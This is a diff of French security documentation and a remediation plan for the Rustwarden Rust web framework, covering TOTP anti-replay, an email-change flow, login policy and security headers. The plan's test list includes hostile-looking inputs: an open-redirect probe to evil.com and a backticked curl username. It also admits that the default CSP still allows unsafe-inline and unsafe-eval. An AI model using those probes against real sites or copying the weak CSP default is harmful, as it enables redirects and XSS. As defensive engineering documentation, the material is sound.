343 +### Anti-rejeu persistant — `last_used_step` (RFC 0037)
344 +
345 +Un code TOTP reste valide pendant toute sa fenêtre de 30 secondes, plus le skew ±1 accepté par `totp-rs`, soit ~90 secondes d'exploitabilité. En 1.0.1, la protection contre le rejeu était une `HashMap` in-process (`OnceLock`) : elle ne couvrait qu'**un seul processus**. Dans un déploiement multi-réplicas, un code intercepté et rejoué sur un autre réplica passait.
346 +
347 +La [RFC 0037](../rfcs/0037-totp-last-used-step.md) déplace l'autorité en base. La migration `m20260918_000010_totp_last_used_step` ajoute `user_totp.last_used_step BIGINT NULL`, et la consommation du pas se fait par **compare-and-set** :
348 +
349 +```mermaid
350 +sequenceDiagram
351 + participant R1 as Réplica 1
352 + participant R2 as Réplica 2
353 + participant DB as user_totp
354 +
355 + Note over R1,DB: Code "123456" valide pour le pas t
356 + R1->>R1: matching_totp_step(secret, code) → Some(t)
357 + R1->>DB: UPDATE ... SET last_used_step = t<br/>WHERE user_id = $id AND (last_used_step IS NULL OR last_used_step < t)
358 + DB-->>R1: rows_affected = 1 → Ok(true)
359 +
360 + Note over R2,DB: Rejeu du même code sur un autre réplica
361 + R2->>R2: matching_totp_step(secret, code) → Some(t)
362 + R2->>DB: même UPDATE conditionnel
363 + DB-->>R2: rows_affected = 0 → Ok(false)
364 +```
365 +
366 +Points importants :
367 +
368 +- le pas persisté est **celui qui a réellement matché** (`matching_totp_step`, qui rejoue `generate()` sur `t-1`, `t`, `t+1` après un `TOTP::check` constant-time), jamais `now / 30` — sinon un code accepté au skew `-1` n'aurait pas été consommé ;
369 +- la condition `last_used_step IS NULL OR last_used_step < $step` est **strictement** croissante : le même pas ne peut pas être consommé deux fois ;
370 +- un rejeu renvoie `Ok(false)`, exactement comme un code invalide. **Pas d'oracle de rejeu** : l'attaquant ne peut pas distinguer « déjà utilisé » de « faux » ;
371 +- `verify_and_enable` (le code d'activation du 2FA) consomme lui aussi le pas, **avant** de basculer `enabled = true` : le code de setup ne peut pas servir de login immédiat sur un autre réplica ;
372 +- une erreur base remonte en `AppError` — le garde ne **fail jamais open** ;
373 +- la garde in-process de 1.0.1 est conservée **après** le CAS, en défense en profondeur ;
374 +- `last_used_step IS NULL` signifie « aucun pas consommé depuis la migration » : le premier code présenté après migration est toujours accepté (grandfathering des lignes existantes).
375 +
376 +### Ce que l'anti-rejeu ne garantit PAS
377 +
378 +- **Il ne protège pas contre un MITM temps réel.** Un proxy de phishing type Evilginx intercepte le code et le rejoue lui-même **avant** l'utilisateur légitime : c'est la première consommation du pas, elle gagne le CAS. Le TOTP n'est pas phishing-resistant par construction ; seuls WebAuthn/FIDO2 le sont, et ils sont hors périmètre de Rustwarden aujourd'hui.
379 +- **Il ne protège pas contre un secret TOTP compromis.** Qui détient le secret génère des codes pour les pas suivants.
380 +- **Il ne protège pas le vol de session post-authentification.** Une fois le JWT émis, le TOTP n'intervient plus — voir blacklist JWT et rotation des refresh tokens.
381 +- **Il ne couvre pas les codes de backup**, qui suivent leur propre cycle (consommés par suppression du hash bcrypt de la liste chiffrée).
382 +
247 383 ---
248 384
249 -## CSP (Content Security Policy)
385 +## Cycle de vie de l'e-mail vérifié
250 386
251 -La politique CSP est appliquée sur toutes les réponses HTML dans [`app.rs`](../../crates/rustwarden-core/src/app.rs#L737) :
387 +Le flag `users.email_verified` (et son horodatage `email_verified_at`) conditionne l'**entrée** dans le compte — c'est-à-dire l'authentification, pas les sessions déjà ouvertes. Trois moments structurent son cycle de vie.
388 +
389 +```mermaid
390 +stateDiagram-v2
391 + [*] --> NonVerifie : register (email_verified = false)
392 + NonVerifie --> Verifie : clic sur le lien<br/>GET /api/v1/auth/verify-email/:token
393 + Verifie --> Verifie : changement d'adresse confirmé<br/>EmailChangeService::confirm_change (RFC 0041)<br/>nouvelle adresse écrite DÉJÀ vérifiée
394 + NonVerifie --> NonVerifie : POST /api/v1/auth/resend-verification<br/>(invalide les tokens précédents)
395 +
396 + note right of NonVerifie
397 + Prochain login refusé si
398 + validation_email_required = true
399 + (défaut, fail-closed).
400 + Session en cours NON révoquée.
401 + end note
402 +
403 + note right of Verifie
404 + RFC 0041 : un compte vérifié ne
405 + redevient jamais non vérifié.
406 + Tant que le lien n'est pas suivi,
407 + rien ne change en base.
408 + La confirmation révoque en revanche
409 + TOUS les refresh tokens.
410 + end note
411 +```
412 +
413 +### 1. Inscription
414 +
415 +`UserService::create_user` insère toujours `email_verified = false`. L'exception est le bootstrap : `ensure_default_admin` force `email_verified = true` sur l'administrateur par défaut, sinon le premier compte ne pourrait pas se connecter.
416 +
417 +### 2. Changement d'adresse (RFC 0041)
418 +
419 +Depuis la [RFC 0041](../rfcs/0041-pending-email-changes.md), `UserService::update_profile` **n'écrit plus jamais** `users.email` : un vrai changement renvoie une `AppError::Validation` qui renvoie vers `EmailChangeService`, un echo de l'adresse courante reste un no-op. Le changement réel est un flux **en deux temps**, et c'est la clé du modèle de menace : **tant que le lien envoyé à la nouvelle boîte n'est pas suivi, rien ne change en base**.
420 +
421 +| Étape | Comportement |
422 +|---|---|
423 +| 1. Demande | `EmailChangeService::request_change` re-authentifie avec le **mot de passe courant** — une session volée seule ne suffit pas à ouvrir une prise de contrôle. Valide format et unicité, consomme toute demande pendante du compte, écrit une ligne `pending_email_changes` (token SHA-256, `expires_at` = `email_validation_expiration_hours`). `users.email` et `email_verified` **ne bougent pas** |
424 +| 1bis. Mails | **Deux** envois : lien de **confirmation** vers la **nouvelle** adresse, avis + lien de **signalement** vers l'**ancienne**. Pas best-effort : si la mise en file échoue, `request_change` échoue et **rien** n'est écrit |
425 +| 2. Confirmation | Le `POST` de la page interstitielle écrit la nouvelle adresse **déjà vérifiée** (`email_verified = true`), **révoque tous les refresh tokens** du compte, invalide les demandes de changement de mot de passe pendantes, trace `audit_logs` `email_changed` |
426 +| 2bis. Signalement | Le `POST` de la page de signalement marque la demande, trace en `audit_logs` (**WARN**) et alerte tous les administrateurs. Il ne **bloque pas** le changement |
427 +| Limiteur | 3 demandes / heure / utilisateur (`email_change:{user_id}`, budget distinct) + budget IP sur `POST /api/v1/auth/email-change` |
428 +| Logs | Adresses masquées (`mask_email` → `jo***@ex***`) dans les logs, l'audit, les hooks **et** le corps de réponse — aucune adresse complète en clair dans le trail SIEM |
429 +
430 +Le chemin **admin** n'est plus un effet de bord : `PUT /admin/users/:id` ne change plus l'adresse. Le recours opérateur est `EmailChangeService::admin_force_change`, qui exige le rôle `admin`, révoque les sessions de la cible, notifie les deux boîtes et trace `email_changed_by_admin` (WARN) + `on_audit_event`. Le hook `on_email_verified` n'est **pas** émis : il n'y a eu aucune preuve de possession.
431 +
432 +L'avis vers l'ancienne adresse reste le signal d'alarme du scénario « session volée, l'attaquant change l'e-mail pour verrouiller le compte » — et il porte désormais un **lien d'action**, pas seulement une information.
433 +
434 +#### Pourquoi le signalement n'annule pas le changement
435 +
436 +Le lien envoyé à l'ancienne adresse **alerte, il ne décide pas**. C'est délibéré : donner à cette boîte un pouvoir de veto reviendrait à donner ce veto à un attaquant qui la contrôle déjà, et à bloquer la reprise de contrôle légitime d'un utilisateur qui change d'adresse précisément parce qu'il a perdu l'accès à l'ancienne. Le signalement produit une ligne `audit_logs` WARN et un mail à tous les administrateurs : la décision de suspendre le compte est humaine et tracée.
437 +
438 +#### Pourquoi un `GET` ne confirme jamais rien
439 +
440 +Les deux liens envoyés par mail pointent sur un `GET` qui **rend une page** portant un formulaire ; c'est le `POST` du bouton qui agit. Les passerelles anti-phishing et les clients mail préchargent les liens : un `GET` qui agirait laisserait un scanner réécrire silencieusement l'identité de connexion d'un compte, ou réveiller tous les administrateurs pour rien. Ces pages sont du HTML minimal autoportant produit par le core — ni Askama, ni `rustwarden-ui`, ni JavaScript, ni ressource externe — donc montables en headless, et servies sur le canal machine (jamais derrière la couche CSRF, sans quoi elles seraient inutilisables depuis une boîte mail).
441 +
442 +#### Ce que le flux en deux temps ferme
443 +
444 +| Mode de panne | Statut |
445 +|---|---|
446 +| **Faute de frappe = lock-out** | **Fermé.** L'adresse candidate n'est jamais écrite : le lien part dans le vide, la demande expire, le compte n'a jamais bougé et reste vérifié sur son adresse d'origine |
447 +| **Fenêtre « adresse changée, session toujours valide »** | **Fermée.** La confirmation révoque tous les refresh tokens du compte |
448 +| **Couplage avec `validation_email_required`** | **Supprimé.** La nouvelle adresse est écrite déjà vérifiée : un changement d'adresse ne bloque jamais le login suivant |
449 +| **Changement d'adresse par effet de bord d'une mise à jour de profil** | **Fermé.** Un seul chemin utilisateur, un seul chemin opérateur, tous deux audités |
450 +
451 +#### Risque résiduel : recours perdu et faute de frappe à l'inscription
452 +
453 +| | |
454 +|---|---|
455 +| **Recours perdu** | Un utilisateur qui a perdu **à la fois** son mot de passe et l'accès à son adresse courante ne peut plus se débloquer seul : `request_change` exige le mot de passe, et le reset de mot de passe passe par l'adresse stockée. C'est un recours administrateur (`admin_force_change`) après vérification d'identité **hors bande**. |
456 +| **Faute de frappe à l'inscription** | Hors périmètre de la RFC 0041 : `register` écrit l'adresse saisie sans double vérification, et un compte jamais vérifié reste bloqué au login si `validation_email_required = true`. Même recours administrateur. |
457 +| **Recommandation consommateur** | Ajouter une **double saisie** dans l'écran d'**inscription** (le seul où elle a encore une valeur), et documenter la procédure de vérification d'identité hors bande avant tout `admin_force_change`. |
458 +
459 +### 3. Où vit la politique de login (RFC 0040)
460 +
461 +Le contrôle « login refusé si l'e-mail n'est pas vérifié » vit dans **`AuthService::authenticate_user`**, pas dans le handler HTTP. C'est le changement de la [RFC 0040](../rfcs/0040-authenticate-user-email-verified.md) : tant que le contrôle vivait dans `POST /api/v1/auth/login`, une application consommatrice avec son propre SSR pouvait appeler le service et contourner la politique sans s'en rendre compte.
462 +
463 +| Fonction | Contrôle e-mail | Usage attendu |
464 +|---|---|---|
465 +| `AuthService::authenticate_user` | **Oui** | Porte d'authentification complète — à utiliser par défaut |
466 +| `AuthService::verify_credentials` | Non | Primitive « mot de passe seul » : re-prompt avant setup TOTP, ré-authentification sensible |
467 +
468 +Détails du contrôle :
469 +
470 +- réglage `validation_email_required`, alias legacy `validation_email_requise`, lu via `AppSettingsService::get_bool_with_fallback` ;
471 +- défaut `true` et **fail-closed** : une erreur de lookup en base vaut « vérification requise » (`unwrap_or(true)`) ;
472 +- il s'exécute **après** la vérification du mot de passe : un attaquant ne peut pas utiliser le message d'erreur comme oracle d'existence de compte ;
473 +- le rejet est un `AppError::Validation` (HTTP 400) portant un message français destiné à l'utilisateur final.
474 +
475 +```rust
476 +use rustwarden_core::services::auth_service::AuthService;
477 +use rustwarden_core::error::AppError;
478 +
479 +// SSR maison : la politique s'applique, sans code supplémentaire.
480 +match AuthService::authenticate_user(&db, &form.username, &form.password).await {
481 + Ok(user) => issue_session(user).await,
482 + // Message déjà rédigé pour l'utilisateur ; proposer « renvoyer l'email ».
483 + Err(AppError::Validation(msg)) => render_login_with_error(&msg, /* show_resend = */ true),
484 + Err(AppError::InvalidCredentials) => render_login_with_error("Identifiants invalides.", false),
485 + Err(e) => Err(e),
486 +}
487 +```
488 +
489 +**Limite documentée (décision v1)** : sur ce chemin, `AuthLoggingService::log_blocked_login` est appelé avec `hooks = None`. La ligne `audit_logs` (`action = "login_blocked"`) est toujours écrite, mais le hook `RustwardenHooks::on_audit_event` / `auth.login_blocked` **n'est plus émis**. Une alerte branchée sur ce hook doit basculer sur la table `audit_logs`.
490 +
491 +---
492 +
493 +## En-têtes de sécurité (CSP, COOP, CORP)
494 +
495 +Le middleware `security_headers_middleware` ([`app.rs`](../../crates/rustwarden-core/src/app.rs)) pose les en-têtes de sécurité sur **toutes** les réponses. Depuis la [RFC 0039](../rfcs/0039-security-headers-config.md), une partie est configurable via [`SecurityHeadersConfig`](../../crates/rustwarden-core/src/config/security_headers.rs).
496 +
497 +| En-tête | Configurable | Valeur par défaut |
498 +|---|---|---|
499 +| `Content-Security-Policy` | **Oui** | voir ci-dessous |
500 +| `Cross-Origin-Opener-Policy` | **Oui**, opt-in | non émis (`None`) |
501 +| `Cross-Origin-Resource-Policy` | **Oui**, opt-in | non émis (`None`) |
502 +| `X-Content-Type-Options` | Non | `nosniff` |
503 +| `X-Frame-Options` | Non | `DENY` |
504 +| `X-XSS-Protection` | Non | `0` (auditeur legacy désactivé — il introduisait ses propres failles) |
505 +| `Referrer-Policy` | Non | `strict-origin-when-cross-origin` |
506 +| `Permissions-Policy` | Non | `camera=(), microphone=(), geolocation=()` |
507 +| `Strict-Transport-Security` | Non | `max-age=31536000; includeSubDomains`, sauf si `APP_DEBUG=true` |
508 +
509 +### CSP par défaut
252 510
253 511 ```
254 512 default-src 'self';
@@ -262,11 +520,44 @@ base-uri 'self';
262 520 form-action 'self'
263 521 ```
264 522
265 -**Point d'attention** : la politique autorise actuellement `'unsafe-inline'` et `'unsafe-eval'` sur les scripts et les styles. Cela est dû à l'utilisation de HTMX et Alpine.js côté client. Ces directives affaiblissent significativement la protection XSS. La roadmap V2 prévoit leur suppression via une nonce-based CSP ou un hash-based CSP.
523 +**Point d'attention, toujours d'actualité** : la politique par défaut autorise `'unsafe-inline'` et `'unsafe-eval'`. `'unsafe-eval'` est requis par la build standard d'Alpine.js (qui évalue ses expressions `x-*`), `'unsafe-inline'` par HTMX et les scripts inline des templates. Ces directives affaiblissent significativement la protection XSS.
524 +
525 +La RFC 0039 n'a **pas** durci ce défaut : elle n'ajoute qu'une API. Le défaut de 1.1.0 est **bit-identique** à celui de 1.0.1 — un test de non-dérive (`default_csp_matches_the_historical_literal`) le verrouille. La constante `CSP_WITHOUT_UNSAFE_EVAL` est exposée mais **non utilisée** par `Default` : la bascule est une **Phase 2**, conditionnée à la migration vers la build Alpine CSP ([`plans/PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md)).
526 +
527 +Autrement dit : un consommateur qui n'appelle jamais `.security_headers(..)` n'obtient **aucune amélioration automatique** de sa CSP — et aucune régression non plus.
528 +
529 +### Configurer les en-têtes
530 +
531 +```rust
532 +use rustwarden_core::prelude::*; // RustwardenApp, SecurityHeadersConfig
533 +
534 +let app = RustwardenApp::builder()
535 + .from_env()
536 + .security_headers(
537 + SecurityHeadersConfig {
538 + // App headless ou UI maison sans Alpine : on peut durcir.
539 + content_security_policy:
540 + "default-src 'self'; script-src 'self'; style-src 'self'; \
541 + img-src 'self' data:; frame-ancestors 'none'; base-uri 'self'; \
542 + form-action 'self'"
543 + .into(),
544 + ..SecurityHeadersConfig::default()
545 + }
546 + // Équivaut à COOP: same-origin + CORP: same-origin.
547 + .with_same_origin_isolation(),
548 + )
549 + .build()
550 + .await?;
551 +```
552 +
553 +Détails d'implémentation utiles à connaître :
266 554
267 -Le header `frame-ancestors 'none'` empêche le clickjacking en refusant l'intégration dans des iframes depuis n'importe quel domaine.
555 +- la config est capturée dans un `Arc` **à la construction du layer**, pas lue depuis une `Extension`. Le layer d'en-têtes est plus externe que les `Extension(...)` : au moment où la requête le traverse, les extensions ne sont pas encore posées ;
556 +- une CSP syntaxiquement invalide (caractères de contrôle) ne panique pas : elle est remplacée par le défaut avec un `warn!` ;
557 +- une valeur COOP/CORP invalide fait **sauter l'en-tête** avec un `warn!`, sans casser la réponse ;
558 +- `frame-ancestors 'none'` + `X-Frame-Options: DENY` couvrent le clickjacking sur les navigateurs modernes comme legacy.
268 559
269 -Le header HSTS (`Strict-Transport-Security: max-age=31536000; includeSubDomains`) est activé automatiquement sauf si `APP_DEBUG=true` — ce qui permet de développer en HTTP local sans erreur.
560 +Avant d'activer `with_same_origin_isolation()`, vérifier qu'aucune intégration cross-origin (iframe, CDN d'assets, widget tiers) n'en dépend.
270 561
271 562 ---
272 563
A docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md
+1131 -0
@@ -0,0 +1,1131 @@
1 +# Sécurisation upstream Rustwarden — audit Gitrust 2026-09-17
2 +
3 +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
4 +
5 +**Goal:** Fermer, dans le dépôt framework Rustwarden, tous les constats d’audit qui relèvent de `rustwarden-core` / `rustwarden-ui` / CLI / `database/`, sans toucher à la logique métier forge (Gitrust).
6 +
7 +**Architecture:** Deux trains distincts. (1) **Patch Security `1.0.1`** : bugs internes, listes de hardening, bumps de deps — aucune RFC, **aucun nouvel item `pub` nommé**, release patch. Inclut un garde anti-rejeu TOTP *in-process* (ferme le Scénario D sans migration). (2) **RFCs 0036–0040** puis implémentation : politique de sécurité, schéma DB, comportement par défaut, persistance multi-instance. Les workarounds Gitrust restent valides jusqu’à `update-project`.
8 +
9 +**Tech Stack:** Axum 0.8, SeaORM 2.0, bcrypt, totp-rs 5, tower-http, Askama/HTMX/Alpine (CSP), `RateLimitService` in-process.
10 +
11 +**Sources :** [docs/SECURITY_AUDIT.md](../SECURITY_AUDIT.md), [docs/remediation_audit_securite_ad2eec33.plan.md](../remediation_audit_securite_ad2eec33.plan.md), [docs/UPSTREAM_RUSTWARDEN copy.md](../UPSTREAM_RUSTWARDEN%20copy.md) § catalogue 2026-09-17, [docs/RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) §2 / §9 / §11.3.
12 +
13 +**Vérifié sur le code actuel (2026-09-17)** — pas seulement sur l’audit Gitrust. Plusieurs constats Gitrust sont déjà fermés côté UI de référence (`login.html` appelle `POST /api/v1/auth/login`) ; d’autres gaps *non listés* dans le catalogue Gitrust sont confirmés ici (fail-open `force_2fa`, placeholder CLI).
14 +
15 +---
16 +
17 +## RALPLAN-DR (mode délibéré)
18 +
19 +### Principles
20 +
21 +1. **Frontière dépôt** : ce plan ne corrige que Rustwarden. C-1 (`sh -c`), C-3 (`merge_pull`), XSS templates forge, russh, CI, nginx Gitrust restent dans Gitrust.
22 +2. **Processus §2** : bug interne / bump patch → PR Security. Item `pub`, défaut, migration, politique de sécu → RFC (grille ≥ 25/35) avant le code.
23 +3. **Fail-closed** : une erreur d’infra (DB, crypto) ne doit jamais *accorder* un droit (2FA, email vérifié, JWT).
24 +4. **Dog-fooding** : les gardes vivent dans les *services*, pas seulement dans les handlers API. Un consommateur qui appelle `UserService` / `AuthService` / `PasswordResetService` hérite de la politique.
25 +5. **Non-régression UI** : ne pas retirer `'unsafe-inline'` de la CSP par défaut tant que Alpine CSP n’est pas migré (`docs/plans/PLAN_CSP_HTMX.md`).
26 +
27 +### Decision Drivers
28 +
29 +1. **Fermer le Scénario D (2FA)** pour tous les consommateurs, pas seulement Gitrust.
30 +2. **Empêcher un déploiement « selon le wizard »** avec secret JWT public (C-7).
31 +3. **Ne pas casser les usernames / templates existants** des apps déjà en prod (grandfathering + API additive).
32 +
33 +### Viable Options
34 +
35 +**Option A (retenue, synthétisée après revue Architect) — patch Security immédiat qui ferme déjà le Scénario D, puis RFCs.** Un PR `1.0.1` livrable en jours, adoption 14 jours. Le plafond d’essais TOTP + un cache in-process `(user_id, step)` 90 s ferment le brute-force et le rejeu *sur une instance*. La RFC 0037 n’ouvre plus un chantier urgent : elle **persiste** cette garantie en multi-instance. Username, email, CSP restent en RFC.
36 +
37 +- Pros : Scénario D fermé en 1.0.1 sans migration ; respect du §2 ; Gitrust peut `update-project` tout de suite.
38 +- Cons : deux trains de release ; anti-rejeu in-process inopérant en multi-réplica jusqu’à 0037.
39 +- **Non-goal explicite :** un relais Evilginx *live* (le code n’est présenté qu’une fois au serveur) n’est arrêté ni par 1.0.1 ni par 0037. Decision Driver 1 = brute-force + rejeu du *même* OTP, pas le MITM interactif.
40 +
41 +**Option B — une mega-RFC unique « hardening 2026-09 ».** Tous les changements (y compris bugs) derrière une RFC.
42 +
43 +- Pros : un seul document de décision.
44 +- Cons : retarde E-3 / C-7 / M-3 de semaines ; mélange bugs et politique ; score grille dilué.
45 +
46 +**Option C — ne rien changer au framework, documenter les workarounds.**
47 +
48 +- Pros : zéro risque de breaking.
49 +- Cons : chaque app réimplémente TOTP / JWT / rate-limit ; divergence garantie ; l’audit reviendra.
50 +
51 +**Invalidation B et C :** B viole §2 (« pas de RFC pour un bug sans changement d’API ») et laisse le Scénario D ouvert. C viole le rôle même du framework (politique de sécu centralisée).
52 +
53 +---
54 +
55 +## Périmètre
56 +
57 +### Dans ce dépôt (ce plan)
58 +
59 +| ID audit | Nature | Train |
60 +|----------|--------|-------|
61 +| *(découvert Architect)* | `check_auth_rate_limit` clé `auth:unknown` : pas de `ConnectInfo`, `TRUSTED_PROXY_HOPS=0` ignore XFF | Patch (prérequis Task 3) |
62 +| E-3 | Anti-brute-force TOTP compte les challenges saturés, pas les essais | Patch |
63 +| *(synthèse D)* | Rejeu TOTP in-process (90 s, `OnceLock`) sans colonne DB | Patch |
64 +| C-7 | Placeholder `JWT_SECRET=REMPLACER_…` (36 car.) passe `KNOWN_EXAMPLES` + wizard CLI | Patch |
65 +| M-3 | `RateLimitService` recréé à chaque `PasswordResetService::new` / `EmailValidationService::new` | Patch |
66 +| M-8 | `bcrypt::verify` synchrone sur backup codes | Patch |
67 +| M-2 | `PasswordResetService::reset_password` n’appelle pas `validate_password_complexity` | Patch |
68 +| E-12 collatéral | `bcrypt 0.19.0`, `rustls 0.23.37`, `h2 0.4.13` | Patch |
69 +| *(découvert)* | `is_totp_enabled(...).unwrap_or(false)` dans le middleware force-2FA | Patch |
70 +| *(découvert)* | `POST /api/v1/auth/2fa/verify` sans `check_auth_rate_limit` | Patch |
71 +| *(découvert)* | `ensure_default_admin` n’appelle ni `AdminConfig::validate` ni la complexité | Patch |
72 +| *(découvert)* | `sanitize_redirect` n’normalise pas `\` | Patch |
73 +| E-18 analogue | PG `0.0.0.0:5432` + `POSTGRES_PASSWORD:-pass3ord` | Patch ops |
74 +| M-1 | Username = longueur seulement | RFC 0036 |
75 +| M-7 | Pas de `last_used_step` TOTP | RFC 0037 |
76 +| M-5 | Changement d’email conserve `email_verified` | RFC 0038 |
77 +| M-10 + F-UI | CSP `unsafe-inline`/`unsafe-eval` ; pas de COOP/CORP | RFC 0039 |
78 +| E-4 | `AuthService::authenticate_user` ignore `validation_email_required` | RFC 0040 |
79 +
80 +### Hors périmètre (Gitrust / ops forge)
81 +
82 +C-1, C-2, C-3, C-4, C-5, C-6, C-8, E-1 (handler SSR Gitrust), E-5, E-6, E-7, E-8, E-9, E-10, E-11, E-12 russh, E-13, E-14, E-15, E-16, E-17, E-19, M-4, M-6 (logout SSR Gitrust — **déjà OK** dans rustwarden-ui via `POST /api/v1/auth/logout`), M-9, M-11 (handler Gitrust), M-12–M-25, lots 5–6 deploy Gitrust.
83 +
84 +**E-2** : dans *ce* dépôt, `crates/rustwarden-ui/templates/login.html` appelle déjà `POST /api/v1/auth/login` (rate-limite IP). Le gap E-2 ne concerne que les consommateurs qui ont un `POST /login` SSR maison (Gitrust). Pas de RFC dédiée : documenter le contrat « le limiteur vit sur `/api/v1/auth/*` » dans RFC 0040.
85 +
86 +---
87 +
88 +## Cartographie fichiers
89 +
90 +### Patch Security (`1.0.1`)
91 +
92 +| Fichier | Responsabilité |
93 +|---------|----------------|
94 +| `crates/rustwarden-core/src/app.rs` | `into_make_service_with_connect_info` dans `run()` |
95 +| `crates/rustwarden-core/src/auth/routes.rs` | Layer `pub(crate)` rate-limit IP sur les POST auth sensibles |
96 +| `crates/rustwarden-core/src/config/auth.rs` | `KNOWN_EXAMPLES` (égalité exacte + placeholder CLI) |
97 +| `crates/rustwarden-core/src/services/totp_service.rs` | Somme des `attempts` 15 min ; replay in-process ; `spawn_blocking` backup |
98 +| `crates/rustwarden-core/src/middleware/auth_service.rs` | Fail-closed force-2FA / user lookup / blacklist ; `sanitize_redirect` `\` |
99 +| `crates/rustwarden-core/src/services/password_reset_service.rs` | Limiteur `OnceLock` + éviction cap ; complexité dans `reset_password` |
100 +| `crates/rustwarden-core/src/services/email_validation_service.rs` | Même `OnceLock` (ou jumelle) |
101 +| `crates/rustwarden-core/src/services/default_admin_service.rs` | `validate()` + `PasswordRules` |
102 +| `crates/rustwarden-core/Cargo.toml` + `Cargo.lock` | `bcrypt >= 0.19.2` |
103 +| `tools/rustwarden-cli/src/templates.rs` | `.env.example` : JWT vide + commentaire openssl |
104 +| `database/docker-compose.yml` | Bind `127.0.0.1:5432`, `${POSTGRES_PASSWORD:?}` |
105 +| `CHANGELOG.md` | Entrée `Security` |
106 +
107 +### RFCs puis implémentation
108 +
109 +| RFC | Fichiers d’implémentation (après Accept) |
110 +|-----|------------------------------------------|
111 +| 0036 Username | `crates/rustwarden-core/src/types/username.rs` (nouveau, calqué sur `team_slug.rs`), `user_service.rs`, `auth/handlers.rs` `RegisterRequest` |
112 +| 0037 TOTP replay | `src/migrations/m20260917_000010_totp_last_used_step.rs`, `models/user_totp.rs`, `totp_service.rs` |
113 +| 0038 Email change | `user_service.rs` `update_profile`, éventuellement `email_validation_service.rs` |
114 +| 0039 Headers | `app.rs` `security_headers_middleware` + `config/security_headers.rs` (nouveau) |
115 +| 0040 Email login | `services/auth_service.rs` `authenticate_user` |
116 +
117 +---
118 +
119 +## ADR
120 +
121 +**Decision :** Option A — patch Security `1.0.1` d’abord, RFCs 0036–0040 ensuite, implémentation RFC dans l’ordre M-1 → M-7 → M-5 → E-4 → M-10.
122 +
123 +**Drivers :** Scénario D ouvert aujourd’hui ; C-7 reproductible via le wizard ; processus §2 interdit d’attendre une RFC pour un bug interne.
124 +
125 +**Alternatives considered :** mega-RFC (B), status quo workarounds (C).
126 +
127 +**Why chosen :** maximalise le correctif livrable sous 14 jours sans casser les usernames existants ni Alpine. La synthèse Architect (garde TOTP in-process en patch) retire l’antithèse « Option A ne ferme pas D en 1.0.1 ».
128 +
129 +**Consequences :** Gitrust doit `update-project` après `1.0.1` pour retirer les gardes dupliquées (C-7, E-3 palliatif, OnceLock email). Les RFC restent bloquantes pour retirer les newtypes Gitrust (`Username`) et pour l’anti-rejeu multi-instance.
130 +
131 +**Antithèse (steelman) :** découper patch/RFC tout en classant comme « bug interne » des changements de défaut fait payer le coût du processus sans livrer D. **Réponse :**
132 +
133 +1. Validation admin **seulement** sur le chemin de *création*.
134 +2. 2FA fail-closed = 503, pas un nouveau contrat de login.
135 +3. Anti-rejeu TOTP in-process : restauration du comportement *voulu* (un OTP ≠ N logins) sans item `pub` ni migration — **patch Security**, pas RFC. La RFC 0037 ne fait que persister.
136 +4. Placeholders JWT : **égalité exacte** uniquement (liste + littéral CLI). Pas de `contains("CHANGE-ME")` en 1.0.1 (ça serait un changement de défaut §2 et un faux positif sur une passphrase légitime). Le `contains` éventuel = RFC ultérieure.
137 +5. Layer rate-limit sur `auth_api_routes()` : **zéro** signature de handler `pub` modifiée — l’alternative par extracteur `ConnectInfo` est **rejetée** (déclenchait §2 sur 5 handlers).
138 +
139 +**Follow-ups :** tracking issue consommateurs ; notification 14 jours ; `cargo audit --deny warnings` dans CI après le bump deps.
140 +
141 +---
142 +
143 +## Pre-mortem (3 scénarios)
144 +
145 +### 1. RFC 0036 casse des comptes existants
146 +
147 +**Échec :** `UserService::create_user` refuse `Jean_Dupont` ; une app en prod a déjà ces usernames ; login OK mais `update_profile` échoue ; Gitrust `update-project` cassé.
148 +
149 +**Mitigation :** valider **uniquement** à la création et au changement de username ; ne **pas** ajouter de CHECK SQL sur la table `users` en v1 ; grandfathering documenté ; tests avec username historique `Admin_1`.
150 +
151 +### 2. CSP sans `unsafe-eval` casse l’admin
152 +
153 +**Échec :** Alpine `x-data="{ open: false }"` utilise `new Function()` ; l’UI de référence est muette après le patch.
154 +
155 +**Mitigation :** RFC 0039 = API *additive* `SecurityHeadersConfig` (défaut = CSP actuelle). Retrait de `'unsafe-eval'` seulement après migration Alpine CSP (`PLAN_CSP_HTMX.md` Phase 1), dans un train séparé. Tests HTTP d’en-tête, pas de changement de défaut dans `1.0.1`.
156 +
157 +### 3. `OnceLock` rate-limit fuit entre tests
158 +
159 +**Échec :** un test sature `pwd_reset:foo@bar` ; le test suivant 429.
160 +
161 +**Mitigation :** `RateLimitService::new_shared_for_tests()` ou `#[cfg(test)]` reset ; tests du limiteur sur une instance **locale** injectée, pas seulement le singleton. Le `OnceLock` production reste ; les unit tests de fenêtre glissante restent sur `RateLimitService::new()`.
162 +
163 +---
164 +
165 +## Expanded Test Plan
166 +
167 +### Unit
168 +
169 +- `KNOWN_EXAMPLES` : exact match historiques + `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` ; secret hex 64 OK ; secret contenant `CHANGE-ME` **accepté** (pas de `contains` en 1.0.1).
170 +- TOTP : 4 essais × 4 challenges (16) → 15e ou 16e refuse `TotpMaxAttemptsExceeded` ; 14 essais OK.
171 +- Backup codes : `verify_backup_code` ne panique pas si appelé depuis runtime tokio (test async) ; code usagé retiré.
172 +- `validate_password_complexity` appelée par `reset_password` (mot `a` → `Validation`).
173 +- `sanitize_redirect("/\\evil.com")` ne produit pas une URL off-origin.
174 +- `Username::parse` (RFC 0036) : `alice`, rejet `` `curl` ``, `Admin`, `--ab`, `-ab`, `ab-`, `api`.
175 +
176 +### Integration (DB)
177 +
178 +- `create_challenge` / `record_challenge_attempt` / plafond global (Postgres test).
179 +- `PasswordResetService` : 4e `request_reset` en 1 h → 429 **avec la même instance de service clonée depuis le OnceLock**.
180 +- RFC 0037 : second `check_current` du même step → false.
181 +- RFC 0038 : `update_profile` email → `email_verified == false`.
182 +- RFC 0040 : `authenticate_user` + setting `validation_email_required=true` + `email_verified=false` → erreur.
183 +
184 +### E2E / HTTP
185 +
186 +- `POST /api/v1/auth/2fa/verify` sans token IP : 429 après N (même budget que login).
